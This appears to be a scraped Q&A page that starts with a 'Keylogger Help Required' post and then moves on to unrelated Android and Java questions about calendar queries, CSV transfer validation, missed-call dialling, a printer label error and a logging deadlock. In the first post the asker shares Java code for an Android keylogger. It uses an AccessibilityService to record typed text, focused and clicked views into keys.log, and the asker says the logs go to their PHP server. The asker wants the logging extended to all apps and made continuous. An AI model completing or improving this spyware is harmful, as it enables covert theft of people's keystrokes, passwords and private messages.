Keylogger Help Required - java

I am not a coder, just tring to learn and understand Java.
I have code for Android Keylogger, which collects keystrokes and send to php file.
I get log also ,but not all, but I want 3 things to working
How I set particular time for getting logs?
How I get all open app/window logs?
How I get continue log? Meaning when Keylogger command is given, it should be continue get logs as timer set
Here is main Java code:
if(onKeylogger) {
try {
DateFormat df = new SimpleDateFormat("MM/dd/yyyy, HH:mm:ss z", Locale.US);
String time = df.format(Calendar.getInstance().getTime());
switch (event.getEventType()) {//Keylogger
case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED: {
String data = event.getText().toString();
SF.Log("KEY1", time + "|(TEXT)|" + data);
textKeylogger = time + "|(TEXT)|" + data + "|^|";
break;
}
case AccessibilityEvent.TYPE_VIEW_FOCUSED: {
String data = event.getText().toString();
SF.Log("KEY2", time + "|(FOCUSED)|" + data);
textKeylogger = time + "|(FOCUSED)|" + data + "|^|";
break;
}
case AccessibilityEvent.TYPE_VIEW_CLICKED: {
String data = event.getText().toString();
SF.Log("KEY3", time + "|(CLICKED)|" + data);
textKeylogger = time + "|(CLICKED)|" + data + "|^|";
break;
}
default:
break;
}
} catch (Exception ex) {
SF.Log("ERROR1","AccessibilityService");
}
}
AccessibilityNodeInfo nodeInfo = event.getSource();
if (AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED == event.getEventType()) {
try {
//---keylogger---
if (onKeylogger) {
if (textKeylogger.length() > 2) {
writeFile("keys.log", textKeylogger);
}
}
if (SF.SetRead(this, "keylogger").equals("true")) {
onKeylogger = true;
} else {
onKeylogger = false;
}
//---------------//
I get instant log , I tried to changed some code like
(textKeylogger.length() > 2)
to
(textKeylogger.length() > 20)
Sorry, as I am beginner, so may it may silly editing. But not all logs I get at my php file.
Note : these code Grab keystrokes, which generate .txt log file at my server panel.

Related

Android CalendarContract.Instances table returns old values

I am querying the CalendarContract.Instances table to read all calendar event instances within a time interval (curr_time, next_time), as shown in the code below. This code works when the calendar entries have been around for a while. However, if I add a new entry, change an existing entry, or delete it, I get some old/stale entries (e.g., a new entry is not returned when it should be, or the unmodified/deleted entry is still returned), and this happens consistently. This problem occurs on my phone (Samsung S7) but does not appear to occur on the Android emulator. I am wondering if anyone else has seen this problem, or what I might be doing wrong. Any help is appreciated. Thanks.
try {
Uri.Builder builder = Instances.CONTENT_URI.buildUpon();
ContentUris.appendId(builder, curr_time);
ContentUris.appendId(builder, next_time);
String[] INSTANCE_PROJECTION = new String[]{Instances.EVENT_ID,
Instances.TITLE, Instances.BEGIN, Instances.END};
Uri uri = builder.build();
cur = cr.query(uri, INSTANCE_PROJECTION, null, null,null);
if (cur != null) {
while (cur.moveToNext()) {
String id = cur.getString(cur.getColumnIndex(Instances.EVENT_ID));
String title = cur.getString(cur.getColumnIndex(Instances.TITLE));
long start = cur.getLong(cur.getColumnIndex(Instances.BEGIN));
long end = cur.getLong(cur.getColumnIndex(Instances.END));
Calendar calendar = Calendar.getInstance();
DateFormat formatter = SimpleDateFormat
.getDateTimeInstance(DateFormat.SHORT, DateFormat.SHORT);
calendar.setTimeInMillis(start);
Date start_date = calendar.getTime();
calendar.setTimeInMillis(end);
Date end_date = calendar.getTime();
Log.i(log_tag, "Event: " + id + "\t" + title + "\t" +
start + " " + formatter.format(start_date) + "\t" +
end + " " + formatter.format(end_date));
}
}
} catch (SecurityException e) {
// no permission to read calendars
} finally {
if (cur != null)
cur.close();
}

Checking which parameter is missing from file content

I have a TransferReader class which reads a file containing transfer data from bank account to another using the following form:
SenderAccountID,ReceiverAccountID,Amount,TransferDate
"473728292,474728298,1500.00,2019-10-17 12:34:12" (unmodified string)
Suppose that the file has been modified before being read so that one of the above mentioned paramaters are missing, and I want to check which of those are missing.
"474728298,1500.00,2019-10-17 12:34:12" (modified string)
I am using a BufferedReader to read each line, and then splitting each element into a String[] using String.split(",") as delimeter.
As already realized, because the Sender Account ID and Receiver Account ID are right next to one another within a record there is no real way of knowing which ID might be missing unless a delimiter remains in its' place indicating a Null value. There are however mechanisms available to determine that it is indeed one of the two that is missing, which one will need to be carried out through User scrutiny and even then, that may not be good enough. The other record column fields like Amount and Transfer Date can be easily validated or if missing can be implicated within a specific File Data Status Log.
Below is some code that will read a data file (named Data.csv) and log potential data line (record) errors into a List Interface object which is iterated through and displayed within the Console Window when the read is complete. There are also some small helper methods. Here is the code:
private void checkDataFile(String filePath) {
String ls = System.lineSeparator();
List<String> validationFailures = new ArrayList<>();
StringBuilder sb = new StringBuilder();
// 'Try With Resources' used here to auto-close reader.
try (BufferedReader reader = new BufferedReader(new FileReader(filePath))) {
String line;
int lineCount = 0;
// Read the file line-by-line.
while ((line = reader.readLine()) != null) {
line = line.trim();
lineCount++;
if (lineCount == 1 || line.equals("")) {
continue;
}
sb.delete(0, sb.capacity()); // Clear the StringBuilder object
// Start the Status Log
sb.append("File Line Number: ").append(lineCount)
.append(" (\"").append(line).append("\")").append(ls);
// Split line into an Array based on a comma delimiter
// reguardless of the delimiter's spacing situation.
String[] lineParts = line.split("\\s{0,},\\s{0,}");
/* Validate each file line. Log any line that fails
any validation for any record column data into a
List Interface object named: validationFailures
*/
// Are there 4 Columns of data in each line...
if (lineParts.length < 4) {
sb.append("\t- Invalid Column Count!").append(ls);
// Which column is missing...
// *** You may need to add more conditions to suit your needs. ***
if (checkAccountIDs(lineParts[0]) && lineParts.length >= 2 && !checkAccountIDs(lineParts[1])) {
sb.append("\t- Either the 'Sender Account ID' or the "
+ "'ReceiverAccountID' is missing!").append(ls);
}
else if (lineParts.length >= 3 && !checkAmount(lineParts[2])) {
sb.append("\t- The 'Amount' value is missing!").append(ls);
}
else if (lineParts.length < 4) {
sb.append("\t- The 'Transfer Date' is missing!").append(ls);
}
}
else {
// Is SenderAccountID data valid...
if (!checkAccountIDs(lineParts[0])) {
sb.append("\t- Invalid Sender Account ID in column 1! (")
.append(lineParts[0].equals("") ? "Null" :
lineParts[0]).append(")");
if (lineParts[0].length() < 9) {
sb.append(" <-- Not Enough Or No Digits!").append(ls);
}
else if (lineParts[0].length() > 9) {
sb.append(" <-- Too Many Digits!").append(ls);
}
else {
sb.append(" <-- Not All Digits!").append(ls);
}
}
// Is ReceiverAccountID data valid...
if (!checkAccountIDs(lineParts[1])) {
sb.append("\t- Invalid Receiver Account ID in coloun 2! (")
.append(lineParts[1].equals("") ? "Null" :
lineParts[1]).append(")");
if (lineParts[1].length() < 9) {
sb.append(" <-- Not Enough Or No Digits!").append(ls);
}
else if (lineParts[1].length() > 9) {
sb.append(" <-- Too Many Digits!").append(ls);
}
else {
sb.append(" <-- Not All Digits!").append(ls);
}
}
// Is Amount data valid...
if (!checkAmount(lineParts[2])) {
sb.append("\t- Invalid Amount Value in column 3! (")
.append(lineParts[2].equals("") ? "Null" :
lineParts[2]).append(")").append(ls);
}
// Is TransferDate data valid...
if (!checkTransferDate(lineParts[3], "yyyy-MM-dd HH:mm:ss")) {
sb.append("\t- Invalid Transfer Date Timestamp in column 4! (")
.append(lineParts[3].equals("") ? "Null" :
lineParts[3]).append(")").append(ls);
}
}
if (!sb.toString().equals("")) {
validationFailures.add(sb.toString());
}
}
}
catch (FileNotFoundException ex) {
System.err.println(ex.getMessage());
}
catch (IOException ex) {
System.err.println(ex.getMessage());
}
// Display the Log...
String timeStamp = new SimpleDateFormat("yyyy/MM/dd - hh:mm:ssa").
format(new Timestamp(System.currentTimeMillis()));
String dispTitle = "File Data Status at " + timeStamp.toLowerCase()
+ " <:-:> (" + filePath + "):";
System.out.println(dispTitle + ls + String.join("",
Collections.nCopies(dispTitle.length(), "=")) + ls);
if (validationFailures.size() > 0) {
for (String str : validationFailures) {
if (str.split(ls).length > 1) {
System.out.println(str);
System.out.println(String.join("", Collections.nCopies(80, "-")) + ls);
}
}
}
else {
System.out.println("No Issues Detected!" + ls);
}
}
private boolean checkAccountIDs(String accountID) {
return (accountID.matches("\\d+") && accountID.length() == 9);
}
private boolean checkAmount(String amount) {
return amount.matches("-?\\d+(\\.\\d+)?");
}
private boolean checkTransferDate(String transferDate, String format) {
return isValidDateString(transferDate, format);
}
private boolean isValidDateString(String dateToValidate, String dateFromat) {
if (dateToValidate == null || dateToValidate.equals("")) {
return false;
}
SimpleDateFormat sdf = new SimpleDateFormat(dateFromat);
sdf.setLenient(false);
try {
// If not valid, it will throw a ParseException
Date date = sdf.parse(dateToValidate);
return true;
}
catch (ParseException e) {
return false;
}
}
I'm not exactly sure what your particular application process will ultimately entail but if other processes are accessing the file and making modifications to it then it may be wise utilize a locking mechanism to Lock the file during your particular process and Unlock the file when it is done. This however will most likely require you to utilize a different reading algorithm since locking a file must be done through a writable channel. Using the FileChannel and FileLock classes from the java.nio package could possibly assist you here. There would be examples of how to utilize these classes within the StackOverflow forum.

Calling a log of missed numbers?

I'm a noob who's working on his first app. Imagine you're busy and not able to pick up some calls during the day. The app shows you a log of the calls you missed, and you can start calling them with a single button click. Not all at once - you start with the first missed number, automatically come back to the app when the call is finished, automatically dial the second number, and so on until the list is empty or you're done calling. This is my what my app looks like right now:
https://imgur.com/tke7SDx
I log missed calls and display them, and I have a "start calling" button that's supposed to start the loop. I'm not sure how to make it so that the onClick starts calling missed call no1, then missed call no2 etc and I haven't found much about it though my Google game isn't very strong yet. This is how I get the call details:
public String getCallDetails() {
StringBuffer sb = new StringBuffer();
// if
// (ActivityCompat.checkSelfPermission(getApplicationContext(),
// Manifest.permission.READ_CALL_LOG) !=
// PackageManager.PERMISSION_GRANTED) {
//
// return ;
// }
Cursor managedCursor = getApplicationContext().getContentResolver().query(CallLog.Calls.CONTENT_URI, null, null, null, CallLog.Calls.DATE + " DESC");
int number = managedCursor.getColumnIndex(CallLog.Calls.NUMBER);
int type = managedCursor.getColumnIndex(CallLog.Calls.TYPE);
int date = managedCursor.getColumnIndex(CallLog.Calls.DATE);
int duration = managedCursor.getColumnIndex(CallLog.Calls.DURATION);
sb.append("\n");
while (managedCursor.moveToNext()) {
String phNumber = managedCursor.getString(number);
String callType = managedCursor.getString(type);
String callDate = managedCursor.getString(date);
Date callDayTime = new Date(Long.valueOf(callDate));
String callDuration = managedCursor.getString(duration);
String dir = null;
int dircode = Integer.parseInt(callType);
switch (dircode) {
case CallLog.Calls.OUTGOING_TYPE:
dir = "OUTGOING";
break;
case CallLog.Calls.INCOMING_TYPE:
dir = "INCOMING";
break;
case CallLog.Calls.MISSED_TYPE:
dir = "MISSED";
break;
}
// Getting the current date and time using the date class
Date d = new Date();
if (dir == "MISSED") {
sb.append("\n Phone Number: " + phNumber + " \n Call Date: " + callDayTime + "\n");
sb.append(" ---------------------------------------------------\n \n");
}
}
managedCursor.close();
return sb.toString();
}
And this is my button onClick:
callBtn.setOnClickListener(new View.OnClickListener() {
#Override
public void onClick(View view) {
try {
// String phone = ????
// Using the ACTION.CALL intent, you're going straight to the first
// call
// Intent callIntent = new
// Intent(Intent.ACTION_CALL, Uri.fromParts("tel",
// phone, null));
// Check for permission, write yes/no etc. here
if (ActivityCompat.checkSelfPermission(getApplicationContext(), Manifest.permission.CALL_PHONE) !=
PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(MainActivity.this, new String[]{Manifest.permission.CALL_PHONE},
UNIQUE_REQUEST_CODE);
} else {
Toast.makeText(MainActivity.this, "Permission granted! Thank you!", Toast.LENGTH_SHORT).show();
}
startActivity(Intent.createChooser(callIntent, "callTitle"));
} catch (Exception e) {
Toast.makeText(getApplicationContext(), "Oh no, your call has failed!",
Toast.LENGTH_LONG).show();
e.printStackTrace();
}
}
});
I'm also trying to filter it so that only missed calls from the past two days are showing, but that's something for later. Just wondering what's a good way to call-loop through the missed calls right now.
Any pointers are welcome!!
Thank you!
You can use Phone State Listener to listen call states. Whenever call states returns to STATE_IDLE you can go for next calls.
Dont forget to stop listining state when you are done.

I KEEP GETTING ERROR_WRONG_LABEL on Brother Printer QL-710W

I have been trying to get my android code to print to a new Brother Printer but
I keep getting ERROR_WRONG_LABEL.
I also get the information:
D/Brother Print SDK: no such enum object for the id: -1
This is my code:
public void printLabel() {
Printer myPrinter = new Printer();
PrinterInfo myPrinterInfo = new PrinterInfo();
try {
myPrinterInfo.printerModel = PrinterInfo.Model.QL_710W;
myPrinterInfo.ipAddress = "12.1.3.45";//not real ip
myPrinterInfo.macAddress = "";
myPrinterInfo.port = PrinterInfo.Port.NET;
myPrinterInfo.paperSize = PrinterInfo.PaperSize.A7;
myPrinterInfo.printMode=PrinterInfo.PrintMode.FIT_TO_PAGE;
myPrinterInfo.numberOfCopies = 1;
LabelInfo mLabelInfo = new LabelInfo();
mLabelInfo.labelNameIndex = 5;
mLabelInfo.isAutoCut = true;
mLabelInfo.isEndCut = true;
mLabelInfo.isHalfCut = false;
mLabelInfo.isSpecialTape = false;
myPrinter.setPrinterInfo(myPrinterInfo);
myPrinter.setLabelInfo(mLabelInfo);
//File downloadFolder = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS);
Log.i("HEYYYY", "startCommunication = " + myPrinter.startCommunication());
Bitmap map = BitmapFactory.decodeResource(getResources(), R.drawable.ic_action_overflow);
PrinterStatus printerStatus = myPrinter.printImage(map);
Log.i("HEYYYY", "errorCode-11 = " + printerStatus.errorCode);
Log.i("HEYYYY", "labelWidth = " + myPrinter.getLabelParam().labelWidth);
Log.i("HEYYYY", "paperWidth = " + myPrinter.getLabelParam().paperWidth);
Log.i("HEYYYY", "labelNameIndex " + mLabelInfo.labelNameIndex);
Log.i("HEYYYY", "printers " + myPrinter.getNetPrinters("QL-710W"));
Log.i("Label-id", myPrinter.getPrinterStatus().labelId + "");
myPrinter.endCommunication();
} catch(Exception e){
e.printStackTrace();
}
}
Whenever I put the mac address which I got from the printer page, the error code changes to
ERROR_NOT_MATCH_ADDRESS.
But without it(setting it to an empty string or commenting it out), it changes to
ERROR_WRONG_LABEL.
What is wrong with this code, please?
UPDATE:
I inserted the correct mac id and now the error code is
ERROR_WRONG_LABEL
what do I do?
After reading through the manual that came with it, I discovered that the ERROR_WRONG_LABEL code occurs due to wrong labelNameIndex or wrong paperSize.
I set the labelNameIndex value to 15 and, voila it worked.
I feel anyone facing this problems should try out various values for the labelNameIndex.
Thanks.

Peculiar deadlock related to logging framework

I have a GUI-based application that takes in a file and displays it to the user in a table format, gets some input in the form of column annotations and a bunch of parameters. Then it parses the file accordingly and initiates an "analysis".
I just found a deadlock, one I have not encountered before.
Found one Java-level deadlock:
=============================
"RMI TCP Connection(5)-130.235.214.23":
waiting to lock monitor 0x00007fac650875e8 (object 0x0000000793267298, a java.util.logging.ConsoleHandler),
which is held by "AWT-EventQueue-0"
"AWT-EventQueue-0":
waiting to lock monitor 0x00007fac65086b98 (object 0x00000006c00dd8d0, a java.io.PrintStream),
which is held by "SwingWorker-pool-1-thread-3"
"SwingWorker-pool-1-thread-3":
waiting to lock monitor 0x00007fac65087538 (object 0x00000006c001db48, a java.awt.Component$AWTTreeLock),
which is held by "AWT-EventQueue-0"
Essentially there is a parsing error and trying to log it hangs the application altogether. Interestingly logging appears to work normally before and after that particular step..
Here's the part of the code that's relevant for the analysis task:
// Activate progress indicator
frame.getMainFrame().activateInfiGlass();
SwingWorker<Map<Analyte,AnalysisResult>, Void> worker = new SwingWorker<Map<Analyte,AnalysisResult>, Void>() {
#Override
protected Map<Analyte,AnalysisResult> doInBackground() {
try {
// register parameters
param.addParam(AnalysisParams.value_key,descPanel.getValueTypeComboIndex());
param.addParam(AnalysisParams.sepchar_key,descPanel.getSepCharComboIndex());
paramPanel.registerParams();
StringBuilder sb = new StringBuilder("Data preview completed, initiating analysis...");
sb.append(System.lineSeparator())
.append("... column annotations: ")
.append(Arrays.toString(annots));
logger.info(sb.toString() + System.lineSeparator());
// Create dataset; to be passed on to SwingWorker which will
// execute the analysis
ds = new Dataset();
String[] line;
for (int i=0; i < data.length; i++){
line = data[i];
// If ignore button is clicked, skip row..
if(!(Boolean) table.getValueAt(i, 0))
ds.addRow(line, annots); // <-- This step is where the parsing exception occurs
}
System.out.println("Dataset parsed...");
logger.info("Dataset parsing complete "
+ System.lineSeparator()
+ ds.toString()
+ System.lineSeparator());
visualizeDataset();
conserv = new ConcurrencyService(ds, dbMan);
conserv.serve();
} catch (InterruptedException e) {
logger.severe("Concurrency service interrupted"
+ System.lineSeparator()
+ DebugToolbox.getStackTraceAsString(e)
+ System.lineSeparator());
System.err.println("Interrupt exception!!");
}
return conserv.getAnalyzedPaths();
}
#Override
protected void done() {
try{
results = get();
visualizeResults();
}
catch (InterruptedException ignore) {}
catch (java.util.concurrent.ExecutionException e) {
String why = null;
Throwable cause = e.getCause();
if (cause != null) {
why = cause.getMessage();
} else {
why = e.getMessage();
}
System.err.println("Error analysing data: " + why);
} catch (SQLException e) {
e.printStackTrace();
}
logger.info("#DEBUG: Conserv should have been terminated by now..." + System.lineSeparator());
frame.getMainFrame().deactivateInfiGlass();
DebugToolbox.stopExecTimer();
}
};
worker.execute();
}});
The parsing of the values happens in an instance of Dataset, using method addRow(). The following piece of code shows the way the parsing error is handled
public double valueToIntensity(String val){
if(val.equalsIgnoreCase(""))
return missingVal;
try{
double d = Double.parseDouble(val);
switch(valType){
case RAW: break;
case LOG2: d = StrictMath.pow(2,d); break;
case LOGN: d = StrictMath.pow(StrictMath.E, d); break;
case LOG10: d = StrictMath.pow(10,d); break;
default: throw new RuntimeException("Unrecognized value type");
}
if(Double.isInfinite(d)){
StringBuilder msg = new StringBuilder("Double precision overflow occurred: 'd' is infinite!!");
msg.append(System.lineSeparator())
.append("chosen value scale is ").append(valType)
.append(System.lineSeparator())
.append("value = ").append(val);
logger.severe(msg.toString() + System.lineSeparator());
System.err.println("Data parsing error!!" +
"Please make sure that you have selected the correct scale...");
System.exit(FeverMainFrame.exitCodes.get(this.getClass()));
}
else
return d;
} catch (NumberFormatException e){
System.err.println("Data parsing error!!");
// THE FOLLOWING LINE IS WHERE DEADLOCK OCCURS
logger.severe("Expected: string representation of a numerical value, "
+ "Found: " + val + System.lineSeparator());
System.err.println("Please make sure the datafile does not include any strings "
+ "like 'N/A' or '-' for denoting missing values.");
System.exit(FeverMainFrame.exitCodes.get(this.getClass()));
}
// TODO: This should never happen!
throw new RuntimeException("Assertion failed during dataset parsing...");
}
If I remove the values that are causing the parsing error, without changing anything else, both the logging framework and the rest of application runs as expected.
I would really appreciate any insight as to what is going on in this particular case.
Absent a complete example, verify that your implementation of doInBackground() does not attempt to update any GUI component or model. Instead, publish() interim results and process() them on the EDT as they become available. A complete example is shown here.

Categories